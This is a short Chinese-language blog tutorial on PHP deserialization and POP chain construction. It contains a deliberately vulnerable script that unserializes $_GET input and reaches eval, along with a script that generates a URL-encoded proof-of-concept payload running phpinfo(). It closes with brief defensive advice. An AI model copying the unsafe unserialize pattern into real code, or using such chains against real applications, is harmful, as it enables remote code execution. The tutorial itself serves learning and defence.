php对象注入-pop链的构造

前言

反序列化可以控制类属性,无论是private还是public

<?php
class A {
    private $a = "a";
    public $b = "b";
    static $c = "c";
}
$test = new A();
echo urlencode(serialize($test));

O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22%00A%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22b%22%3B%7D

其中有个%00存在是因为private属性。

pop链的利用

以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。
生成poc:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

获取已经包含的文件:
get_included_files()
获取已经定义的类:
get_declared_classes()
加载所有类
__autoload()

Joomla远程代码执行漏洞分析

p师傅已经很详细的进行一个说明,只是小小的总结一下,与上面相比,是lemon类直接性的new了一个对象,实际中可以在魔术方法中多找一些回调函数之类的,比如call_user_func_array,这样就可以去实例化任意加载的对象,当然如果没有加载的话,那就去想办法利用import一下类。

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

挖掘与防护

serialize/unserialize函数的搜索
用json_encode/json_decode

posted @ 2016-11-07 11:03  l3m0n  阅读(...)  评论(... 编辑 收藏